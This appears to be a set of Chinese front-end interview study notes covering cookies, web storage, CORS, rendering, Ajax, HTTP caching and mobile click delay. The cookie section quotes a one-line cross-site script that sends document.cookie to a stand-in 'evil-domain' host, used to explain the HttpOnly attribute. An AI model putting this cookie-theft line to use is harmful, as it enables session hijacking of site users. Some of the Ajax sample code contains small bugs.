浏览器内核
- Trident 俗称IE内核 IE浏览器
- Gecko 俗称Firefox内核 火狐浏览器
- Webkit Safari浏览器
- Blink Chrome浏览器 Oprea浏览器(Blink是由Webkit衍生而来)
Cookie、sessionStorage、localStorage的区别
共同点:都是保存在浏览器端,并且是同源的
Cookie:cookie数据始终在同源的http请求中携带(即使不需要),即cookie在浏览器和服务器间来回传递。而sessionStorage和localStorage不会自动把数据发给服务器,仅在本地保存。cookie数据还有路径(path)的概念,可以限制cookie只属于某个路径下,存储的大小很小只有4K左右。 (key:可以在浏览器和服务器端来回传递,存储容量小,只有大约4K左右)
sessionStorage:仅在当前浏览器窗口关闭前有效,自然也就不可能持久保持,localStorage:始终有效,窗口或浏览器关闭也一直保存,因此用作持久数据;cookie只在设置的cookie过期时间之前一直有效,即使窗口或浏览器关闭。(key:本身就是一个回话过程,关闭浏览器后消失,session为一个回话,当页面不同即使是同一页面打开两次,也被视为同一次回话)
localStorage:localStorage 在所有同源窗口中都是共享的;cookie也是在所有同源窗口中都是共享的。(key:同源窗口都会共享,并且不会失效,不管窗口或者浏览器关闭与否都会始终生效)
补充说明一下cookie的作用:
保存用户登录状态。例如将用户id存储于一个cookie内,这样当用户下次访问该页面时就不需要重新登录了,现在很多论坛和社区都提供这样的功能。 cookie还可以设置过期时间,当超过时间期限后,cookie就会自动消失。因此,系统往往可以提示用户保持登录状态的时间:常见选项有一个月、三个 月、一年等。
跟踪用户行为。例如一个天气预报网站,能够根据用户选择的地区显示当地的天气情况。如果每次都需要选择所在地是烦琐的,当利用了cookie后就会显得很人性化了,系统能够记住上一次访问的地区,当下次再打开该页面时,它就会自动显示上次用户所在地区的天气情况。因为一切都是在后 台完成,所以这样的页面就像为某个用户所定制的一样,使用起来非常方便定制页面。如果网站提供了换肤或更换布局的功能,那么可以使用cookie来记录用户的选项,例如:背景色、分辨率等。当用户下次访问时,仍然可以保存上一次访问的界面风格。
Cookie详解
javascript.ruanyifeng.com/bom/cookie.…
举例来说,用户访问网址www.example.com,服务器在浏览器写入一个 Cookie。这个 Cookie 就会包含www.example.com这个域名,以及根路径/。这意味着,这个 Cookie 对该域名的根路径和它的所有子路径都有效。如果路径设为/forums,那么这个 Cookie 只有在访问www.example.com/forums及其子路径时才有效。以后,浏览器一旦访问这个路径,浏览器就会附上这段 Cookie 发送给服务器。
浏览器可以设置不接受 Cookie,也可以设置不向服务器发送 Cookie。window.navigator.cookieEnabled属性返回一个布尔值,表示浏览器是否打开 Cookie 功能。
http回应:cookie的生成
服务器如果希望在浏览器保存 Cookie,就要在 HTTP 回应的头信息里面,放置一个Set-Cookie字段
Set-Cookie:foo=bar
上面代码会在浏览器保存一个名为foo的 Cookie,它的值为bar。
HTTP 回应可以包含多个Set-Cookie字段,即在浏览器生成多个 Cookie。下面是一个例子。
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[page content]
除了 Cookie 的值,Set-Cookie字段还可以附加 Cookie 的属性。没有次序的要求
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
如果服务器想改变一个早先设置的 Cookie,必须同时满足四个条件:Cookie 的key、domain、path和secure都匹配。只要有一个属性不同,就会生成一个全新的 Cookie,而不是替换掉原来那个 Cookie。
比如
Set-Cookie: key1=value2; domain=example.com; path=/blog
Set-Cookie: key1=value2; domain=example.com; path=/
这是两个同门Cookie,访问example.com/blog的时候,浏览器将向服务器发送两个同名的 Cookie。
Cookie: key1=value1; key1=value2
上面代码的两个 Cookie 是同名的,匹配越精确的 Cookie 排在越前面。
http请求:Cookie发送
浏览器向服务器发送 HTTP 请求时,每个请求都会带上相应的 Cookie。也就是说,把服务器早前保存在浏览器的这段信息,再发回服务器。这时要使用 HTTP 头信息的Cookie字段。
Cookie: foo=bar
上面代码会向服务器发送名为foo的 Cookie,值为bar。
Cookie字段可以包含多个 Cookie,使用分号(;)分隔。
Cookie: name=value; name2=value2; name3=value3
下面是一个例子。
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
服务器收到浏览器发来的 Cookie 时,有两点是无法知道的。
- Cookie 的各种属性,比如何时过期。
- 哪个域名设置的 Cookie,到底是一级域名设的,还是某一个二级域名设的。
cookie属性
Expires,Max-age
Expires属性指定一个具体的到期时间,到了指定时间以后,浏览器就不再保留这个 Cookie。它的值是 UTC 格式,可以使用Date.prototype.toUTCString()进行格式转换。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
如果不设置该属性,或者设为null,Cookie 只在当前会话(session)有效,浏览器窗口一旦关闭,当前 Session 结束,该 Cookie 就会被删除。另外,浏览器根据本地时间,决定 Cookie 是否过期,由于本地时间是不精确的,所以没有办法保证 Cookie 一定会在服务器指定的时间过期。
Max-Age属性指定从现在开始 Cookie 存在的秒数,比如60 * 60 * 24 * 365(即一年)。过了这个时间以后,浏览器就不再保留这个 Cookie。
如果同时指定了Expires和Max-Age,那么Max-Age的值将优先生效。
如果Set-Cookie字段没有指定Expires或Max-Age属性,那么这个 Cookie 就是 Session Cookie,即它只在本次对话存在,一旦用户关闭浏览器,浏览器就不会再保留这个 Cookie。
Domain,path
Domain属性指定浏览器发出 HTTP 请求时,哪些域名要附带这个 Cookie。如果没有指定该属性,浏览器会默认将其设为当前 URL 的一级域名,比如www.example.com会设为example.com,而且以后如果访问example.com的任何子域名,HTTP 请求也会带上这个 Cookie。如果服务器在Set-Cookie字段指定的域名,不属于当前域名,浏览器会拒绝这个 Cookie。
Path属性指定浏览器发出 HTTP 请求时,哪些路径要附带这个 Cookie。只要浏览器发现,Path属性是 HTTP 请求路径的开头一部分,就会在头信息里面带上这个 Cookie。比如,PATH属性是/,那么请求/docs路径也会包含该 Cookie。当然,前提是域名必须一致。
Secure,HttpOnly
Secure属性指定浏览器只有在加密协议 HTTPS 下,才能将这个 Cookie 发送到服务器。另一方面,如果当前协议是 HTTP,浏览器会自动忽略服务器发来的Secure属性。该属性只是一个开关,不需要指定值。如果通信是 HTTPS 协议,该开关自动打开。
HttpOnly属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是Document.cookie属性、XMLHttpRequest对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到,只有浏览器发出 HTTP 请求时,才会带上该 Cookie。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
上面是跨站点载入的一个恶意脚本的代码,能够将当前网页的 Cookie 发往第三方服务器。如果设置了一个 Cookie 的HttpOnly属性,上面代码就不会读到该 Cookie。
document.cookie
document.cookie属性用于读写当前网页的 Cookie。
读取的时候,它会返回当前网页的所有 Cookie,前提是该 Cookie 不能有HTTPOnly属性
document.cookie // "foo=bar;baz=bar"
上面代码从document.cookie一次性读出两个 Cookie,它们之间使用分号分隔。必须手动还原,才能取出每一个 Cookie 的值。
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
console.log(cookies[i]);
}
// foo=bar
// baz=bar
document.cookie属性是可写的,可以通过它为当前网站添加 Cookie。
document.cookie = 'fontSize=14';
写入的时候,Cookie 的值必须写成key=value的形式。注意,等号两边不能有空格。另外,写入 Cookie 的时候,必须对分号、逗号和空格进行转义(它们都不允许作为 Cookie 的值),这可以用encodeURIComponent方法达到。
但是,document.cookie一次只能写入一个 Cookie,而且写入并不是覆盖,而是添加。
document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world
document.cookie读写行为的差异(一次可以读出全部 Cookie,但是只能写入一个 Cookie),与 HTTP 协议的 Cookie 通信格式有关。浏览器向服务器发送 Cookie 的时候,Cookie字段是使用一行将所有 Cookie 全部发送;服务器向浏览器设置 Cookie 的时候,Set-Cookie字段是一行设置一个 Cookie。
写入 Cookie 的时候,可以一起写入 Cookie 的属性。
document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";
上面代码中,写入 Cookie 的时候,同时设置了expires属性。属性值的等号两边,也是不能有空格的。
各个属性的写入注意点如下。
path属性必须为绝对路径,默认为当前路径。domain属性值必须是当前发送 Cookie 的域名的一部分。比如,当前域名是example.com,就不能将其设为foo.com。该属性默认为当前的一级域名(不含二级域名)。max-age属性的值为秒数。expires属性的值为 UTC 格式,可以使用Date.prototype.toUTCString()进行日期格式转换。
Cookie 的属性一旦设置完成,就没有办法读取这些属性的值。
删除一个现存 Cookie 的唯一方法,是设置它的expires属性为一个过去的日期。
document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';
上面代码中,名为fontSize的 Cookie 的值为空,过期时间设为1970年1月1月零点,就等同于删除了这个 Cookie。
cookie和session的区别
1、cookie数据存放在客户的浏览器上,session数据放在服务器上。(session创建于服务器端,保存于服务器,维护于服务器,每创建一个新的Session,服务器端都会分配一个唯一的ID,并且把这个ID保存到客户端的Cookie中,保存形式是以JsessionID来保存的。)
2、cookie不是很安全,别人可以分析存放在本地的cookie并进行cookie欺骗,考虑到安全应当使用session。
3、session会在一定时间内保存在服务器上。当访问增多,会比较占用你服务器的性能,考虑到减轻服务器性能方面,应当使用cookie。
4、单个cookie保存的数据不能超过4K,很多浏览器都限制一个站点最多保存20个cookie。
5、可以考虑将登陆信息等重要信息存放为session,其他信息如果需要保留,可以放在cookie中
跨域
当一个请求的协议、域名、端口三者之间任意一个与当前页面url不同即为跨域
为什么会出现跨域问题:
出于浏览器的同源策略限制。同源策略(Sameoriginpolicy)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响,可能会受到XSS,CSFR等攻击
URL 说明 是否允许通信
http://www.domain.com/a.js
http://www.domain.com/b.js 同一域名,不同文件或路径 允许
http://www.domain.com/lab/c.js
http://www.domain.com:8000/a.js
http://www.domain.com/b.js 同一域名,不同端口 不允许
http://www.domain.com/a.js
https://www.domain.com/b.js 同一域名,不同协议 不允许
http://www.domain.com/a.js
http://192.168.4.12/b.js 域名和域名对应相同ip 不允许
http://www.domain.com/a.js
http://x.domain.com/b.js 主域相同,子域不同 不允许
http://domain.com/c.js
http://www.domain1.com/a.js
http://www.domain2.com/b.js 不同域名 不允许
如何解决跨域
1.jsonp,缺点,只能实现get一种请求
2.cors跨域,目前所有浏览器都支持该功能,cors也成为了主流的跨域解决方案
3.代理跨域,启动一个代理服务器,实现数据的转发
4.。。。还有几种,但是看不懂,也不想看了
jsonp跨域原理
script资源不受同源策略限制
JSONP利用script标签的加载机制,发送的不是ajax请求,通过script标签获取资源,但是获取的非json数据,而是js格式的数据,所以需要在回调函数中将js解析为json
服务器需要返回js格式的数据
服务器和客户端都需要配置
优点:兼容性好
缺点:只支持get请求
cors跨域原理
cors跨域只需要在服务端进行配置
跨域资源共享,基本思想是使用自定义的HTTP头部让浏览器和服务器通信
分类:浏览器将cors分为两类
- 简单请求(head get post)
- 非简单请求
简单请求:
浏览器在头部添加一个origin字段,用来说明请求来自哪个源,服务器根据这个值决定是否同意
如果服务器不许可,则返回的信息中不会包含Access-Control-Allow-Origin字段,这个错误需要onerror捕获,返回的状态码可能为200
如果服务器许可,则服务器返回的响应中会多出Access-Control-字段
CORS默认不发送cookie,需要发送cookies,则需要服务器指定Access-Control-Allow-Credentials字段,需要在ajax请求中打开withCredentials属性
非简单请求:
请求方法是PUT或DELETE,Content-Type字段类型是application/json
会在正式通信前,增加一次OPTIONS查询请求,预检请求
询问服务器,网页所在域名是否在服务器的许可名单中,以及可以使用那些HTTP动词和头信息字段,只有得到肯定答复,浏览器才会发出正式XMLHTTPRequest请求,否则会报错
服务器通过预检请求,以后每次浏览器正常CORS请求,都会和简单请求一样,会有一个Origin字段,服务器的回应也会有yieldAccess-Control-Allow-Origin头信息字段
输入url到显示页面这个过程发生了什么
DNS解析
TCP连接
发送HTTP请求
服务器处理请求并返回HTTP报文
浏览器解析渲染页面
连接结束
详细描述
- 根据URL域名寻找服务器ip,浏览器首先在缓存中查找,查找的顺序是浏览器缓存→系统缓存→路由器缓存,缓存中查找不到则去系统的hosts文件中查找,没有则查询DNS服务器
- 得到ip地址后,浏览器根据ip和相应端口号构建一个http请求并将该http请求封装在一个tcp包中,这个tcp包依次经过传输层、网络层、数据链路层、物理层到达服务器,服务器解析这个请求并作出响应,返回相应的html给浏览器
- 浏览器根据返回的html来构建DOM树,构建DOM树的过程中如果遇到图片、音视频等资源会并行下载,如果遇到js脚本或外部js连接,则会停止DOM树的构建去执行和下载相应js脚本,这会造成阻塞;之后根据外部样式、内部样式、内联样式构建CSSOM树,构建完成后和DOM树合并成渲染树,主要目的是排除非视觉节点,比如script、meta标签和排除display为none的节点
- 进行布局,确定各个元素的位置和尺寸,然后渲染页面,显示给用户
- 上述所有请求中都会涉及http缓存机制
浏览器渲染过程
- 浏览器会将HTML解析成一个DOM树
- 将CSS解析成 CSS Rule Tree
- 根据DOM树和CSSOM来构造 Rendering Tree
- 有了Rendering Tree,浏览器已经能知道网页中有哪些节点、各个节点的CSS定义以及他们的从属关系。下一步操作称之为布局layout,顾名思义就是计算出每个节点在屏幕中的位置
- 再下一步就是绘制,将Rendering Tree的各个节点绘制到屏幕上
js怎么控制一次加载一张图片,加载完后再执行下一张
-
onload
var obj=new Image(); obj.src="http://www.phpernote.com/uploadfiles/editor/201107240502201179.jpg"; obj.onload=function(){}
- onreadystatechange
手写Ajax
ajax的请求过程
- 创建XMLHttpRequest异步对象
- 使用open方法来与服务器建立连接
- 发送请求
- 接收返回,在回调函数针对不同的响应状态进行处理
funtion ajax(url){
//1.创建ajax对象
var xhr = new XMLHttpRequest()
//2.连接服务器,open(方法、文件名、异步传输)
//方法:传输方式是get方式还是post方式。
//文件名:告诉服务器要读哪个文件
//异步传输:1.异步:多件事一件一件的做;2.同步:多件事情一起进行
//但是js里面的同步和异步和现实的同步异步相反。1.同步:多件事一件一件的做;2.异步:多件事情一起进行
xhr.open('get', url, true)
//3.发送请求
xhr.send()
//4.接收返回,客户端和服务器端有交互的时候会调用onreadystatechange
xhr.onreadyStatechange = function(){
if(xhr.readyState == 4){//未初始化 ,没有发送send 1 载入开始 调用send 发起请求 2 载入完成 send完成 收到响应内容 3 交互 解析系响应内容 4 完成
if(xhr.status == 200){
console.log('成功'+xhr.responseText)
}else{
console.log('失败')
}
}
}
}
| 状态值 | 描述 |
|---|---|
| 0 | 请求还未初始化,还未调用open( ) |
| 1 | 请求已建立但未发送,还未调用send( ) |
| 2 | 接受原始响应数据,为解析做准备 |
| 3 | 正在解析数据,根据响应头部返回的MIME类型把数据转换成能通过responseText等形式存取的格式 |
| 4 | 响应完成,数据解析完成 |
用Promise封装原生Ajax
var myNewAjax=function(url){
return new Promise(function(resolve,reject){
var xhr = new XMLHttpRequest();
xhr.open('get',url);
xhr.send(data);
xhr.onreadystatechange=function(){
if(xhr.status==200&&readyState==4){
var json=JSON.parse(xhr.responseText);
resolve(json)
}else if(xhr.readyState==4&&xhr.status!=200){
reject('error');
}
}
})
}
重绘和重排(回流)
重排:当渲染树的一部分必须更新且节点的尺寸发生了变化,浏览器会使渲染树中受到影响的部分失效,并重新构造渲染树
重绘:元素的外观被改变所触发的,浏览器会根据元素的新属性重新绘制,使元素呈现新的外观
重排:
- 添加、删除看见的DOM
- 元素的位置改变
- 元素的尺寸改变(外边距,内边距、边框厚度、宽高等几何属性)
- 页面渲染初始化
- 浏览器窗口尺寸改变
重绘:
- 改变元素外观属性,比如color、background-color
重排一定重绘,重绘不一定重排
优化:
- 不要一条条的修改DOM样式,可以先定义好class,然后修改DOM的className
- 将需要多次重排的元素脱离文档流,position设置为absolute或fixed
- 如果需要创建多个DOM节点,可以使用文档碎片DocumentFragment创建完成后一次性加入document
- display:none和block
提升页面性能
-
资源压缩合并,减少HTTP请求
-
使用CDN
-
预解析DNS
-
非核心代码异步加载
异步加载
异步加载的方式
- 动态脚本加载
- defer
- async
异步加载的区别
- defer 是在 HTML 解析完之后才会执行,如果是多个,按照加载的顺序依次执行。
defer脚本会在DOMContentLoaded和load事件之前执行。 - async 是在脚本加载完之后立即执行,如果是多个,执行顺序和加载顺序无关。
async会在load事件之前执行,但并不能确保与DOMContentLoaded的执行先后顺序。
-
利用浏览器缓存
浏览器缓存
缓存策略都是通过设置 HTTP Header 来实现的。
缓存策略的分类:
-
强缓存
强缓存:不会向服务器发送请求,直接从缓存中读取资源,在chrome控制台的Network选项中可以看到该请求返回200的状态码,并且Size显示from disk cache或from memory cache。强缓存可以通过设置两种 HTTP Header 实现:Expires 和 Cache-Control。
-
Expires
缓存过期时间,用来指定资源到期的时间,是服务器端的具体的时间点。Expires是Web服务器响应消息头字段,在响应http请求时告诉浏览器在过期时间前浏览器可以直接从浏览器缓存取数据,而无需再次请求。
-
Cache-Control
在HTTP/1.1中,Cache-Control是最重要的规则,主要用于控制网页缓存。比如当
Cache-Control:max-age=300时,则代表在这个请求正确返回时间(浏览器也会记录下来)的5分钟内再次加载资源,就会命中强缓存。 -
Expires和Cache-Control两者区别
其实这两者差别不大,区别就在于 Expires 是http1.0的产物,Cache-Control是http1.1的产物,两者同时存在的话,Cache-Control优先级高于Expires ;
-
-
协商缓存
协商缓存就是强制缓存失效后,浏览器携带缓存标识向服务器发起请求,由服务器根据缓存标识决定是否使用缓存的过程,主要有以下两种情况:
- 协商缓存生效,返回304和Not Modified
- 协商缓存失效,返回200和请求结果
协商缓存可以通过设置两种 HTTP Header 实现:Last-Modified 和 ETag 。
-
Last-Modified和If-Modified-Since
浏览器在第一次访问资源时,服务器返回资源的同时,在response header中添加 Last-Modified 的header,值是这个资源在服务器上的最后修改时间,浏览器接收后缓存文件和 header;浏览器下一次请求这个资源,浏览器检测到有 Last-Modified这个header,于是添加If-Modified-Since这个header,值就是Last-Modified中的值;服务器再次收到这个资源请求,会根据 If-Modified-Since 中的值与服务器中这个资源的最后修改时间对比,如果没有变化,返回304和空的响应体,直接从缓存读取,如果If-Modified-Since的时间小于服务器中这个资源的最后修改时间,说明文件有更新,于是返回新的资源文件和200。
-
ETag和If-None-Match
Etag 是服务器响应请求时,返回当前资源文件的一个唯一标识(由服务器生成),只要资源有变化,Etag就会重新生成。浏览器在下一次加载资源向服务器发送请求时,会将上一次返回的Etag值放到request header里的If-None-Match里,服务器只需要比较客户端传来的If-None-Match跟自己服务器上该资源的ETag是否一致,就能很好地判断资源相对客户端而言是否被修改过了。如果服务器发现ETag匹配不上,那么直接以常规GET 200回包形式将新的资源(当然也包括了新的ETag)发给客户端;如果ETag是一致的,则直接返回304知会客户端直接使用本地缓存即可。
-
两者之间对比
首先在精确度上,Etag要优于Last-Modified。
第二在性能上,Etag要逊于Last-Modified,毕竟Last-Modified只需要记录时间,而Etag需要服务器通过算法来计算出一个hash值。
第三在优先级上,服务器校验优先考虑Etag
-
缓存机制
强制缓存优先于协商缓存进行,若强制缓存(Expires和Cache-Control)生效则直接使用缓存,若不生效则进行协商缓存(Last-Modified / If-Modified-Since和Etag / If-None-Match),协商缓存由服务器决定是否使用缓存,若协商缓存失效,那么代表该请求的缓存失效,返回200,重新返回资源和缓存标识,再存入浏览器缓存中;生效则返回304,继续使用缓存。
-
from memory cache和from disk cache的区别
在chrome浏览器中的控制台Network中size栏通常会有三种状态
1.from memory cache
2.from disk cache
3.资源本身的大小(如:1.5k)
三种的区别:
- from memory cache :字面理解是从内存中,其实也是字面的含义,这个资源是直接从内存中拿到的,不会请求服务器一般已经加载过该资源且缓存在了内存当中,当关闭该页面时,此资源就被内存释放掉了,再次重新打开相同页面时不会出现from memory cache的情况。
- from disk cache :同上类似,此资源是从磁盘当中取出的,也是在已经在之前的某个时间加载过该资源,不会请求服务器但是此资源不会随着该页面的关闭而释放掉,因为是存在硬盘当中的,下次打开仍会from disk cache
- 资源本身大小数值 :当http状态为200是实实在在从浏览器获取的资源,当http状态为304时该数字是与服务端通信报文的大小,并不是该资源本身的大小,该资源是从本地获取的
-
前端性能衡量指标
- 白屏时间(first Paint Time)——用户从打开页面开始到页面开始有东西呈现为止
- 首屏时间——用户浏览器首屏内所有内容都呈现出来所花费的时间
- 用户可操作时间(dom Interactive)——用户可以进行正常的点击、输入等操作
- 总下载时间——页面所有资源都加载完成并呈现出来所花的时间,即页面 onload 的时间
前端中的事件流
事件流描述的是从页面中接收事件的顺序
事件捕获:当某个元素触发某个事件(如onclick),顶层对象document就会发出一个事件流,随着DOM树的节点向目标元素节点流去,直到到达事件真正发生的目标元素。在这个过程中,事件相应的监听函数是不会被触发的。
事件目标:当到达目标元素之后,执行目标元素该事件相应的处理函数。如果没有绑定监听函数,那就不执行。
事件冒泡:从目标元素开始,往顶层元素传播。途中如果有节点绑定了相应的事件处理函数,这些函数都会被依次触发。
事件流的3个阶段:
-
事件捕获阶段(事件从 Document 节点 自上而下 向目标节点传播的阶段)
捕获的流程为:window -> document -> html -> body -> ... -> 目标元素。
-
处于目标阶段(真正的目标节点正在处理事件的阶段)
-
事件冒泡阶段(事件从目标节点 自下而上 向 Document 节点传播的阶段)
冒泡的流程为:目标元素 -> ... -> body -> html -> document -> window。
阻止事件的默认行为
-
return false
-
event.preventDefault()
阻止事件冒泡
-
return false
-
w3c:event.stopPropagation()
-
ie:event.cancelBubble = true
阻止剩下的事件处理程序被执行。如果一个元素上绑定了三个事件,在其中一个事件上调用了这个方法,那其他 的两个事件将不会被执行。
-
event.stopImmediatePropagation()
图片的懒加载和预加载
预加载:提前加载图片,当用户需要查看时可直接从本地缓存中渲染。
懒加载:懒加载的主要目的是作为服务器前端的优化,减少请求数或延迟请求数。
两种技术的本质:两者的行为是相反的,一个是提前加载,一个是迟缓甚至不加载。 懒加载对服务器前端有一定的缓解压力作用,预加载则会增加服务器前端压力。
常见开发问题
click在ios上有300ms延迟,原因以及如何解决
原因:早期网站一般都是为大屏设备设计的,于是苹果的工程师做了一些约定,应对iphone这种小屏幕浏览桌面端站点的问题。其中最出名的就是双击缩放,这也是有300ms延迟的主要原因。以前的化着300ms,但是现在移动端的要求越来越高,这300ms对用户来说体验确实不太好。移动端浏览器会有一些默认的行为,比如双击缩放、双击滚动。这些行为,尤其是双击缩放,主要是为桌面网站在移动端的浏览体验设计的。而在用户对页面进行操作的时候,移动端浏览器会优先判断用户是否要触发默认的行为。www.jianshu.com/p/6e2b68a93…
如何解决:
浏览器开发商的方案
-
方案一(禁用缩放)
<meta name="viewport" content="user-scalable=no"> <meta name="viewport" content="initial-scale=1,maximum-scale=1">原理:直接禁用缩放了,双击缩放的功能就没有意义了,浏览器也不会去检测双击缩放事件了,自然也就没有了300ms
缺点:完全禁止缩放并不是我们的目的,比如还是希望页面能够通过双指放大或者放大文字
-
方案二(更改默认的视口宽度)
<meta name="viewport" content="width=device-width">原理:如果设置了上述
meta标签,那浏览器就可以认为该网站已经对移动端做过了适配和优化,就无需双击缩放操作了。优点:这个方案相比方案一的好处在于,它没有完全禁用缩放,而只是禁用了浏览器默认的双击缩放行为,但用户仍然可以通过双指缩放操作来缩放页面。
-
方案三 (css touch-action)
这个属性指定了相应元素上能够触发的用户代理(也就是浏览器)的默认行为。如果将该属性值设置为
touch-action: none,那么表示在该元素上的操作不会触发用户代理的任何默认行为,就无需进行300ms的延迟判断。
现有的解决方案
要解决300ms点击延迟的问题,从长远来说,自然还是得浏览器开发商提供统一的最终的解决方案。但是,到目前为止,以上三种方案并不能提供很好的兼容性,对于方案一和方案二,Chrome是率先支持的,Firefox紧随其后,然而令Safari头疼的是,它除了双击缩放还有双击滚动操作,如果采用这种两种方案,那势必连双击滚动也要一起禁用;对于方案三,IE是支持的,但是其他浏览器支持不完善。
FastClick
FastClick 是 FT Labs 专门为解决移动端浏览器 300 毫秒点击延迟问题所开发的一个轻量级的库。FastClick的实现原理是在检测到touchend事件的时候,会通过DOM自定义事件立即出发模拟一个click事件,并把浏览器在300ms之后的click事件阻止掉。
点击穿透问题
假如页面上有两个元素A和B。B元素在A元素之上。我们在B元素的touchstart事件上注册了一个回调函数,该回调函数的作用是隐藏B元素。我们发现,当我们点击B元素,B元素被隐藏了,随后,A元素触发了click事件。
这是因为在移动端浏览器,事件执行的顺序是touchstart > touchend > click。而click事件有300ms的延迟,当touchstart事件把B元素隐藏之后,隔了300ms,就算解决了这个由于执行顺序一样会穿透,浏览器触发了click事件,但是此时B元素不见了,所以该事件被派发到了A元素身上。如果A元素是一个链接,那此时页面就会意外地跳转。
点击穿透的三种情况
(1)点击穿透问题:点击蒙层(mask)上的关闭按钮,蒙层消失后发现触发了按钮下面元素的click事件。
(2)跨页面点击穿透问题:如果按钮下面恰好是一个有href属性的a标签,那么页面就会发生跳转因为 a标签跳转默认是click事件触发 ,所以原理和上面的完全相同
(3)点击穿透问题:这次没有mask了,直接点击页内按钮跳转至新页,然后发现新页面中对应位置元素的click事件被触发了。
解决方法
- 延长弹窗关闭的事件,比如让弹窗300ms以上渐变消失(也可以用定时器)
- touchstart里面阻止默认事件,会阻止默认的click事件的创建
- css 的point-events:none来禁掉元素的点击事件,300ms之后恢复